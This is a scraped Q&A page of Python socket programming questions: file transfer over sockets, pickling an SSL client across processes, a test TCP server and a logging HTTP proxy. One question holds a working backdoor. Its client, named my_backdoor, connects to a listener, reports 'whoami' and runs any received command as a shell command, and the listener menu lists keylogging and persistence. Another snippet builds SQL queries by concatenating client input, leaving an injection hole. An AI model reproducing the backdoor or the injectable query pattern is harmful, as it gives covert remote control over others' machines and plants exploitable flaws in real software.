Python transfer Excel files between socket server and client - python

As title, I would like to know how socket programming transfer Excel files across the stream. I can send and receive any txt file using open method and read the file, convert it into binary string and send across the socket stream, but I am in nowhere how to send a complicated file type like xlsx/xls over the stream.
Here is my sample code on how to send a file via socket. But this only applicable for files that can be open using the open method. What if I want to send other files like PDF, xlsx, etc?
Server:
class Server:
def __init__(self, host_ip_address, host_port):
self._host_ip_address = host_ip_address
self._host_port = host_port
self._socket = socket.socket()
self._connection = None
self._address = None
self._chunk_size = 0
self._process = None
self._queue = None
def start_connection(self):
try:
self._socket.bind((self._host_ip_address, self._host_port))
self._socket.listen(0)
except socket.error:
raise Exception('Unable to initiate the server connection, please check the socket')
def receive_file(self, queue):
try:
connection, address = self._socket.accept()
filename = 'stream_file.txt'
with open(filename, 'wb') as file:
while True:
file_data = connection.recv(self._chunk_size)
if not file_data:
break
file.write(f'{file_data}')
queue.put(filename)
except Exception as err:
raise Exception('There is an issue while receiving the file, please try again')
def start_server(self, chunk_size=4096):
self._queue = multiprocessing.Queue()
self._chunk_size = chunk_size
self.start_connection()
self._process = multiprocessing.Process(target=self.receive_file, args=(self._queue,))
self._process.start()
print(self._queue.get())
if __name__ == '__main__':
server = Server('127.0.0.1', 5001)
server.start_server()
Client:
class Client:
def __init__(self, host_ip_address, host_port):
self._host_ip_address = host_ip_address
self._host_port = host_port
self._socket = socket.socket()
self._chunk_size = 0
def start_connection(self):
try:
self._socket.connect((self._host_ip_address, self._host_port))
except socket.error:
raise Exception('Unable to connect to the host')
def send_file(self, filename):
try:
file = open(filename, 'rb')
while True:
read_bytes = file.read(self._chunk_size)
if not read_bytes:
break
self._socket.sendall(read_bytes)
except Exception as err:
raise Exception('No file has been selected. Please make sure the file exist')
def start_client(self, chunk_size=4096, file=None):
if data is None:
raise Exception('No data selected to send across the socket')
self._chunk_size = chunk_size
self.start_connection()
self.send_file(data_type, file)
if __name__ == '__main__':
client = Client('127.0.0.1', 5001)
filename = r'D:\Work\sample.xlsx'
client.start_client(file=filename)

Related

Python Socket with Multiprocessing and Pickle issue

I am having a Pickle issue with SSL client to server communication using multiprocessing.
I have an SSL client that connects to the server:
SSLClient.py
import socket
import struct
import ssl
import copyreg
from os import path
import socket
import os
from pathlib import Path
from loguru import logger as log
from utils.misc import read_py_config
from datetime import datetime
from cryptography.fernet import Fernet
fernetkey = '1234567'
fernet = Fernet(fernetkey)
class SSLclient:
license = None
licenseencrypted = None
uuid = None
def __init__(self):
try:
path = Path(__file__).parent / "/lcl" #get unique license key
with path.open() as file:
self.licenseencrypted = file.read().rstrip()
self.license = fernet.decrypt(str.encode(self.licenseencrypted)).decode('ascii')
self.host, self.port = "127.0.0.1", 65416
except Exception as e:
log.error("Could not decode license key")
def connect(self):
self.client_crt = os.path.join(os.path.dirname(__file__), 'key/c-.crt')
self.client_key = os.path.join(os.path.dirname(__file__), 'key/ck-.key')
self.server_crt = os.path.join(os.path.dirname(__file__), 'key/s-.crt')
self.sni_hostname = "example.com"
self._context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH, cafile=self.server_crt)
self._context.load_cert_chain(certfile=self.client_crt, keyfile=self.client_key)
self._sock = None
self._ssock = None
## ---- Client Communication Setup ----
HOST = self.host # The server's hostname or IP address
PORT = self.port # The port used by the server
try:
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._ssock = self._context.wrap_socket(self._sock, server_side=False, server_hostname=self.sni_hostname)
self._ssock.connect((HOST, PORT))
log.info("Socket successfully created")
except socket.error as err:
log.error("socket creation failed with error %s" %(err))
return False
log.info('Waiting for connection')
return True
def closesockconnection(self):
self._ssock.close()
def checkvalidsite(self):
#check if site is active
jsonobj = {
"uuid": self.license,
"ipaddress" : self.external_ip,
"req": "checkvalidsite"
}
send_msg(self._ssock, json.dumps(jsonobj).encode('utf-8'))
active = False
while True:
Response = recv_msg(self._ssock)
if not Response:
return False
if Response is not None:
Response = Response.decode('utf-8')
Response = json.loads(Response)
req = Response['req']
if req == "checkvalidsite":
active = Response['active']
self.info1 = Response['info1']
self.info2 = Response['info2']
return active
# ---- To Avoid Message Boundary Problem on top of TCP protocol ----
def send_msg(sock: socket, msg): # ---- Use this to send
try:
# Prefix each message with a 4-byte length (network byte order)
msg = struct.pack('>I', len(msg)) + msg
sock.sendall(msg)
except Exception as e:
log.error("Sending message " + str(e))
def recv_msg(sock: socket): # ---- Use this to receive
try:
# Read message length and unpack it into an integer
raw_msglen = recvall(sock, 4)
if not raw_msglen:
return None
msglen = struct.unpack('>I', raw_msglen)[0]
# Read the message data
return recvall(sock, msglen)
except Exception as e:
log.error("Receiving message " + str(e))
return False
def recvall(sock: socket, n: int):
try:
# Helper function to receive n bytes or return None if EOF is hit
data = bytearray()
while len(data) < n:
packet = sock.recv(n - len(data))
if not packet:
return None
data.extend(packet)
return data
except Exception as e:
log.error("Receiving all message " + str(e))
raise Exception(e)
I then have a server that is Multithreaded and accepts the connection and communicates with the client.
Server.py
import socket
import os
from socket import AF_INET, SOCK_STREAM, SO_REUSEADDR, SOL_SOCKET, SHUT_RDWR
import ssl
from os import path
from _thread import *
import struct # Here to convert Python data types into byte streams (in string) and back
import traceback
from threading import Thread
import json
import mysql.connector as mysql
import time
from loguru import logger as log
import threading
from cryptography.fernet import Fernet
fernetkey = '12213423423'
fernet = Fernet(fernetkey)
threadLocal = threading.local()
# ---- To Avoid Message Boundary Problem on top of TCP protocol ----
def send_msg(sock: socket, msg): # ---- Use this to send
try:
# Prefix each message with a 4-byte length (network byte order)
msg = struct.pack('>I', len(msg)) + msg
sock.sendall(msg)
except Exception as e:
log.error("Error send_msg " + str(e))
def recv_msg(sock: socket): # ---- Use this to receive
try:
# Read message length and unpack it into an integer
raw_msglen = recvall(sock, 4)
if not raw_msglen:
return None
msglen = struct.unpack('>I', raw_msglen)[0]
# Read the message data
return recvall(sock, msglen)
except Exception as e:
log.error("Receiving message " + str(e))
return False
def recvall(sock: socket, n: int):
try:
# Helper function to receive n bytes or return None if EOF is hit
data = bytearray()
while len(data) < n:
packet = sock.recv(n - len(data))
if not packet:
return None
data.extend(packet)
return data
except Exception as e:
log.error("Receiving all message " + str(e))
raise Exception(e)
# ---- Server Communication Setup
class Newclient:
def __init__(self):
self.addr = None
self.conn = None
self.uuid = None
class Server:
def __init__(self):
self.HOST = '127.0.0.1' # Standard loopback interface address (localhost)
self.PORT = 65416 # Port to listen on (non-privileged ports are > 1023)
self.ThreadCount = 0
self.threads = []
self.sock = None
def checkvalidsite(self, uuid, ipaddress, cursor, db_connection):
sql = "select * from myexample where uuid ='" + uuid + "'"
cursor.execute(sql)
results = cursor.fetchall()
active = False
for row in results:
active = row["active"]
siteid = row["info1"]
clientid = row["info2"]
return active, siteid, clientid
def Serverthreaded_client(self, newclient):
conn = newclient.conn
try:
while True:
# data = conn.recv(2048) # receive message from client
data = recv_msg(conn)
uuid = None
ipaddress = None
req = None
if not data :
return False
if data is not None:
data = json.loads(data.decode('utf-8'))
uuid = data['uuid']
req = data['req']
if uuid is not None and req is not None:
newclient.uuid = uuid
cursor, db_connection = setupDBConnection()
if req == "checkvalidsite":
ipaddress = data['ipaddress']
active, info1, info2 = self.checkvalidsite(uuid, ipaddress, cursor, db_connection)
data = {
"req": "checkvalidsite",
"uuid": uuid,
"active": active,
"info1" : info1,
"info2" : info2
}
if not data:
break
# conn.sendall(str.encode(reply))
send_msg(conn, json.dumps(data).encode('utf-8'))
log.info("Server response sent")
#conn.close()
closeDBConnection(cursor, db_connection)
else:
#send no message
a=1
except Exception as e:
log.warning(str(e))
log.warning(traceback.format_exc())
finally:
log.info("UUID Closing connection")
conn.shutdown(socket.SHUT_RDWR)
conn.close()
#conn.close()
def Serverconnect(self):
try: # create socket
self.server_cert = path.join(path.dirname(__file__), "keys/server.crt")
self.server_key = path.join(path.dirname(__file__), "keys/server.key")
self.client_cert = path.join(path.dirname(__file__), "keys/client.crt")
self._context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
self._context.verify_mode = ssl.CERT_REQUIRED
###self._context.load_cert_chain(self.server_cert, self.server_key)
self._context.load_cert_chain(certfile=self.server_cert, keyfile=self.server_key)
###self._context.load_verify_locations(self.client_cert)
self._context.load_verify_locations(cafile=self.client_cert)
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) ###<-- socket.socket() ???
log.info("Socket successfully created")
except socket.error as err:
log.warning("socket creation failed with error %s" %(err))
try: # bind socket to an address
self.sock.bind((self.HOST, self.PORT))
except socket.error as e:
log.warning(str(e))
log.info('Waiting for a Connection..')
self.sock.listen(3)
def Serverwaitforconnection(self):
while True:
Client, addr = self.sock.accept()
conn = self._context.wrap_socket(Client, server_side=True)
log.info('Connected to: ' + addr[0] + ':' + str(addr[1]))
log.info("SSL established. Peer: {}".format(conn.getpeercert()))
newclient = Newclient()
newclient.addr = addr
newclient.conn = conn
thread = Thread(target=self.Serverthreaded_client, args =(newclient, ))
thread.start()
self.threads.append(newclient)
self.ThreadCount += 1
log.info('Thread Number: ' + str(self.ThreadCount))
def startserver():
server = Server()
server.Serverconnect()
server.Serverwaitforconnection()
serverthread = Thread(target=startserver)
serverthread.daemon = False
serverthread.start()
The server accepts the connection with SSL then waits for a message. It investigates the message command, executes the respective function and returns the data from the database as a response (checkvalidsite in this example).
All good so far (as far as I can tell).
I also have the main program that calls the SSLClient and connects.
Main program
remoteclient = SSLclient()
successfulconnection = remoteclient.connect()
siteactive = remoteclient.checkvalidsite()
So far all is well. However I also have the main program reading in frames from multiple cameras. Can be 20 cameras for example. In order to do this I created multiprocessing to deal with the camera load. Each camera or two cameras per, are assigned to a processor (depending on the number of cores in the machine).
(code below has been stripped out to simplify reading)
x = range(3, 6)
for n in x:
processes = multiprocessing.Process(target=activateMainProgram, args=(queue1, queue2, queue3, queue4, remoteclient, ))
processes.start()
When I try pass the remoteclient (SSLClient) as an argument I get the error:
cannot pickle 'SSLContext' object
I then (after reading online) added the code to the SSLClient:
def save_sslcontext(obj):
return obj.__class__, (obj.protocol,)
copyreg.pickle(ssl.SSLContext, save_sslcontext)
but then I get the error:
cannot pickle 'SSLContext' object
There are 2 options I experimented with:
Trying to get the pickle working (which would be ideal) as the processes themselves each need to communicate with the server. So the processes need to call functions from the SSLClient file. But I cannot get over the pickle issue and can't find a solution online
I then placed the remoteclient = SSLClient code outside the main function. Hoping it would run first and then be accessible to the processes. This worked, however what I learnt was that when a process is called (as it does not share memory) it reprocesses the entire file. Meaning if I have 10 processes each with 2 cameras then I would have 10 connections to the server (1 per process). This means on the server side I would also have 10 threads running each connection. Though it works, it seems significantly inefficient.
Being a noob and self taught in Python I am not sure how to resolve the issue and after 3 days, I figured I would reach out for assistance. If I could get assistance with the pickle issue of the SSLClient then I will have one connection that is shared with all processes and 1 thread in the server to deal with them.
P.s. I have cobbled all of the code together myself and being new to Python if you see that I am totally going down the wrong, incorrect, non-professional track, feel free to yell.
Much appreciated.
Update:
If I change the SSLClient code to:
def save_sslcontext(obj):
return obj.__class__, (obj.protocol,)
copyreg.pickle(ssl.SSLContext, save_sslcontext)
Then I get the error:
[WinError 10038] An operation was attempted on something that is not a socket
Not sure what is better..

sockets cant upload file

I am tryin to develop a script that works on the client machine sending information to the server and uploading&downloading to/from client machine. However, when I try to upload a file, I see in my server machine that the file is sending the file but the client doesn't receive and shows no error. uploading code worked properly before I implemented into my main code. Sorry if there is misunderstanding in my explanation i am new at stackoverflow.
every help is welcome X
import socket
from socket import *
import subprocess
import json
import os
import tqdm
path = 'C:\\Users\HP PC\Desktop'
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096
class Client:
def __init__(self, ip, port):
self.connection = socket(AF_INET, SOCK_STREAM)
self.connection.connect((ip, port))
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode())
def reliable_recv(self):
json_data = " "
while True:
try:
json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1').strip()
return json.loads(json_data)
except ValueError:
continue
def change_working_directory_to(self, path):
os.chdir(path)
return "[+] Changing working directory to " + path
def down(self):
try:
received = self.connection.recv(BUFFER_SIZE).decode()
filename, filesize = received.split(SEPARATOR)
filename = os.path.basename(filename)
filesize = int(filesize)
progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024)
with open(filename, "wb") as f:
while True:
bytes_read = self.connection.recv(BUFFER_SIZE)
if not bytes_read:
break
f.write(bytes_read)
progress.update(len(bytes_read))
except Exception as e:
print(e)
def run(self):
privilege = subprocess.check_output('whoami', shell=True)
self.connection.send(privilege)
while True:
command = self.reliable_recv()
if command[0] == "quit":
self.connection.close()
exit()
elif command[0] == "/help":
continue
elif command[0] == '/cls':
continue
elif command[0] == 'upload':
self.down()
continue
# elif command[:3] == "cd ":
# try:
# os.chdir(path)
# except OSError as e:
# print(e)
else:
command_result = self.execute_system_command(command)
self.reliable_send(command_result.decode("ISO-8859-1").strip())
my_backdoor = Client('192.168.8.105', 6543)
my_backdoor.run()
Here is the server code:
import json
import os
import socket
import tqdm
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096
class Listener:
def __init__(self, bind_ip, bind_port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((bind_ip, bind_port))
server.listen(0)
print("[*] Listening on ", str(bind_ip))
self.connection, addr = server.accept()
print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))
receive = self.connection.recv(1024)
print("[+] This is " + receive.decode('ISO-8859-1'))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode().strip())
def reliable_recv(self):
json_data = " "
while True:
try:
json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1')
return json.loads(json_data)
except ValueError:
continue
def upload(self):
filename = "v.png"
filesize = os.path.getsize(filename)
# send the filename and filesize
self.connection.send(f"{filename}{SEPARATOR}{filesize}".encode())
# start sending the file
progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024)
with open(filename, "rb") as f:
while True:
# read the bytes from the file
bytes_read = f.read(BUFFER_SIZE)
if not bytes_read:
# file transmitting is done
break
# we use sendall to assure transimission in
# busy networks
self.connection.sendall(bytes_read)
# update the progress bar
progress.update(len(bytes_read))
def run_command(self):
while True:
command = input(">")
command = command.split(" ")
if command[0] == "quit":
self.connection.close()
exit()
elif command[0] == "/help":
print('''
quit => Quit the sessison
clear => Clear the screen
cd *dirname => Change directory on target machine
upload *filename =>Upload file to target machine
download *filename =>Download file from target machine
key_start =>Start the keylogger
key_dump =>Print the keystrokes target prompted
key_stop =>Stop and self destruct keylogger file
persistance *RegName* *filename =>Persistance in reboot
''')
continue
elif command[:3] == 'cd ':
pass
elif command[0] == 'upload':
self.upload()
continue
elif command[0] == '/cls':
os.system('cls')
continue
self.reliable_send(command)
result = self.reliable_recv()
print(result)
my_listener = Listener('192.168.8.105', 6543)
my_listener.run_command()
it doesnt show any errors and rest of the code is working properly.
Upload and download functions worked properly when I tried to test
but didnt work when i tried to implement into my main code

Threaded socket doesn't transfer all data using sendall

I am currently running into an issue where the following code only reads the first 1028 bytes from a socket, and then hangs waiting for more even though the rest has been sent. I thought it could be the code causing the problem, but it only happens when I am receiving data from the client to the server (which is multi-threaded). When I run the code in reverse (server sending data to client) it runs without an issue.
This is what is currently failing:
The clients code:
with open(commands[1], "rb") as file:
data = file.read()
# Sends the length of the file to the server
serverSocket.sendall(str(len(data)).encode())
# Sends the data to the server
data = file.read(1024)
while data:
data = file.read(1024)
serverSocket.sendall(data)
Along with the server code:
# Gets the total length of the file
dataLen = int(clientsocket.recv(1024).decode())
totalData = ""
while len(totalData) < dataLen:
# Reads in and appends the data to the variable
data = clientsocket.recv(1024).decode()
totalData += data
What else have I tried?
The original code for the client was:
with open(commands[1], "rb") as file:
data = file.read()
# Sends the length of the file to the server
serverSocket.sendall(str(len(data)).encode())
# Sends the data to the server
serverSocket.sendall(data)
Which I changed because I thought there may be an issue with the recv not getting all of the packets from the client, but the client believes that everything was sent.
Minimum Reproducible Code:
SERVER.PY
from socket import socket, AF_INET, SOCK_STREAM, error
from threading import Thread, Lock
from _thread import interrupt_main
import logging
from sys import stdout
from os import makedirs
from pathlib import Path
class Server:
def __init__(self, host, port):
logging.basicConfig(stream=stdout, level=logging.INFO, format='%(asctime)s - %(message)s')
self.host = host
self.port = port
self.quitVal = False
self.threads = []
self.lock = Lock()
self.sock = None
self.open()
def open(self):
sock = socket(AF_INET, SOCK_STREAM)
sock.bind((self.host, self.port))
sock.listen(5)
self.sock = sock
def listen(self):
try:
while self.quitVal != True:
(clientsocket, address) = self.sock.accept()
# This creates a threaded connection as this is the choke for the connection
thread = Thread(target=self.connection, args=(clientsocket, address), daemon=True)
self.threads.append(thread)
thread.start()
except OSError:
quit()
def connection(self, clientsocket, address):
while self.quitVal != True:
# We are going to allow multiple file transfers at one time on a connection
requestThreads = []
# The client innitially sends a command "s<command> [<fileLocation>]"
data = clientsocket.recv(4096).decode("utf-8")
data = data.split()
data[0] = data[0].lower()
if data[0] == "get":
thread = Thread(target=self.get, args=(clientsocket, data[1]), daemon=True)
requestThreads.append(thread)
thread.start()
elif data[0] == "put":
thread = Thread(target=self.put, args=(clientsocket, data[1]), daemon=True)
requestThreads.append(thread)
thread.start()
clientsocket.close()
def get(self, clientsocket, fileLocation):
# Tries to get the file, and sends it all to the client
with self.lock:
try:
with open(fileLocation, "rb") as file:
data = file.read()
# Sends the length of the file to the client
clientsocket.sendall(str(len(data)).encode())
# Byte to separate the input from length and file
response = self.sock.recv(1).decode()
# Sends the data to the client
clientsocket.sendall(data)
except IOError as e:
print("\nFile doesn't exist")
def put(self, clientsocket, fileLocation):
# Gets the total length of the file
with self.lock:
dataLen = int(clientsocket.recv(1024).decode())
totalData = ""
# Gets the total length of the file
dataLen = int(clientsocket.recv(1024).decode())
totalData = ""
# Byte to separate the input from length and file
clientsocket.sendall("0".encode())
while len(totalData) < dataLen:
# Reads in and appends the data to the variable
data = clientsocket.recv(2048).decode()
totalData += data
logging.info(totalData)
server = Server("127.0.0.1", 10002)
server.listen()
CLIENT.PY
from socket import socket, AF_INET, SOCK_STREAM, error
from threading import Thread, Lock
from _thread import interrupt_main
import logging
from sys import stdout
from os import makedirs
from pathlib import Path
class Client:
def __init__(self, host, port):
self.host = host
self.port = port
self.quitVal = False
self.sock = self.open()
self.threads = []
self.lock = Lock()
def open(self):
try:
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((self.host, self.port))
except error as err:
return None
return sock
def get(self, commands):
# Sends the request for the file to the server using the main Sock
with self.lock:
command = "GET " + commands[0]
self.sock.send(command.encode())
dataLen = int(self.sock.recv(1024).decode())
totalData = ""
self.sock.sendall("0".encode())
while len(totalData) < dataLen:
data = self.sock.recv(2048).decode()
totalData += data
def put(self, commands):
with self.lock:
# Sends the put call command to the server
command = "PUT " + commands[1]
self.sock.sendall(command.encode())
try:
with open(commands[1], "rb") as file:
data = file.read()
# Sends the length of the file to the server
self.sock.sendall(str(len(data)).encode())
# Byte to separate the input from length and file
response = self.sock.recv(1).decode()
# Sends the data to the server
self.sock.sendall(data)
except IOError as e:
logging.info("\nFile doesn't exist")
client = Client("127.0.0.1", 10002)
print("foo")
client.get(["foo.txt", "bar.txt"])
client.put(["foo.txt", "bar1.txt"])

Control TCP server in Python

I use unittests to check correctness of TCP client communication, so I need some TCP server that I can control it and that it sends to client (and when).
A simple test should look like:
server = Server("localhost", 5555)
server.start()
client.connect()
self.assertTrue("login_message" in server.received_data)
server.send_to_client(reject_messages)
self.assertTrue("login_again" in server.received_data)
time.sleep(10)
self.assertTrue("login_again_and_again" in server.newest_received_data)
server.stop()
self.assertTrue("login failed" in client.logs)
I need the full flow control, what could be used for implementing Server?
Now I try to use threaded SocketServer, but I don't have an access neither to data, nor to controlling it..
I don't know if anybody needs this, but anyway:
I used gevent server
from gevent import sleep, socket
from gevent.server import StreamServer
class Connection:
def __init__(self, host, port):
self.server = StreamServer((host, port), self.handle)
self.data = []
self.socks = []
self.pointer = 0
def handle(self, sock, address):
self.socks.append(sock)
while True:
line = sock.recv(1024)
if line:
self.data += [line]
else:
break
sock.close()
self.socks.remove(sock)
def send(self, msg):
if self.socks:
sock2send = self.socks[-1]
try:
sock2send.send(msg)
except IOError, e:
print "Can't send message '%s'! Exception:" % msg, e
else:
print "No sockets to send the message to"
def start(self):
self.server.start()
def serve_forever(self):
self.server.serve_forever()
def close(self):
self.server.stop()
for sock in self.socks:
sock.close()
def new_data(self):
newest = self.data[self.pointer:]
self.pointer = len(self.data)
return newest
And then unittest looks like this:
def testTCPClient(self):
j = lambda x: "".join(x)
server = Connection("", 5555)
server.start()
client.run()
sleep(3)
data = j(server.new_data())
self.assertTrue("login" in data)
sleep(2)
server.send("login approve")
sleep(2)
data = j(server.new_data())
self.assertTrue("after_login" in data)
server.send("logout")
sleep(2)
data = j(server.new_data())
self.assertTrue("received_logout" in data)
server.close()
self.assertTrue("disconnected" in client.logs)

Python Proxy isn't handling POST requests

I'm creating a simple Python proxy that logs all requests sent through it. For now, everything works except POST requests (I can't vote on StackOverflow questions).
I haven't defined an explicit POST function, but I am using the GET function instead.
Could anyone tell me where the problem is?
This is my code:
#!/usr/local/bin/python2
import BaseHTTPServer, select, socket, SocketServer, urlparse
class ProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def __init__(self, request, client_address, server):
self.request = request
self.client_address = client_address
self.server = server
self.setup()
self.socket = socket
self.server_version = 'TestProxy 1.0'
self.request_buffer_size = 0
try:
self.handle()
finally:
self.finish()
def connect_to(self, location, destination_socket):
i = location.find(':')
if i >= 0:
host = location[:i]
port = int(location[i + 1:])
else:
host = location
port = 80
print 'Connecting to {0}:{1}'.format(host, port)
try:
self.socket.connect((host, port))
except socket.error, arg:
try:
msg = arg[1]
except:
msg = arg
self.send_error(404, msg)
return 0
return 1
def do_CONNECT(self):
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
if self.connect_to(self.path, socket):
self.log_request(200)
self.wfile.write(self.protocol_version + ' 200 Connection established\n')
self.wfile.write('Proxy-agent: {0}\n'.format(self.version_string()))
self.wfile.write('\n')
self.read_write(self.socket, 300)
finally:
print 'Connection closed.'
self.socket.close()
self.connection.close()
def do_GET(self):
scm, location, path, parameters, query, fragment = urlparse.urlparse(self.path, 'http')
if scm != 'http' or fragment or not location:
self.send_error(400, 'bad url {0}'.format(self.path))
return
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
if self.connect_to(location, self.socket):
self.log_request()
self.socket.send('{0} {1} {2}\n'.format(self.command, urlparse.urlunparse(('', '', path, parameters, query, '')), self.request_version))
self.headers['Connection'] = 'close'
del self.headers['Proxy-Connection']
for key, value in self.headers.items():
self.socket.send('{0}: {1}\n'.format(key, value))
self.socket.send('\n')
self.read_write(self.socket)
finally:
print 'Closing connection...'
self.socket.close()
self.connection.close()
def read_write(self, socket, max_idling = 100):
iw = [self.connection, socket]
ow = []
count = 0
while count != max_idling:
count += 1
read_list, write_list, exception_list = select.select(iw, ow, iw, 3)
if exception_list:
break
if read_list:
for item in read_list:
out = self.connection if item is socket else socket
data = item.recv(8192)
if data:
out.send(data)
count = 0
else:
pass
#print 'Idle for {0}'.format(count)
do_HEAD = do_GET
do_POST = do_GET
do_PUT = do_GET
do_DELETE = do_GET
class ThreadingHTTPServer(SocketServer.ThreadingMixIn, BaseHTTPServer.HTTPServer): pass
if __name__ == '__main__':
BaseHTTPServer.test(ProxyHandler, ThreadingHTTPServer)
This part handles the POST/GET requests:
def do_GET(self):
scm, location, path, parameters, query, fragment = urlparse.urlparse(self.path, 'http')
if scm != 'http' or fragment or not location:
self.send_error(400, 'bad url {0}'.format(self.path))
return
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
if self.connect_to(location, self.socket):
self.log_request()
self.socket.send('{0} {1} {2}\n'.format(self.command, urlparse.urlunparse(('', '', path, parameters, query, '')), self.request_version))
self.headers['Connection'] = 'close'
del self.headers['Proxy-Connection']
for key, value in self.headers.items():
self.socket.send('{0}: {1}\n'.format(key, value))
self.socket.send('\n')
self.read_write(self.socket)
finally:
print 'Closing connection...'
self.socket.close()
self.connection.close()
The read-select on self.connection never returns, and if one manually reads from that object, no data is coming. It looks like you have to read from self.rfile.
Note that calling select on self.rfile doesn't return, but self.rfile.read() does work. That is probably because self.rfile is a Python file-like object, and the server process has already read the start of the POST body from the OS.

Categories

Resources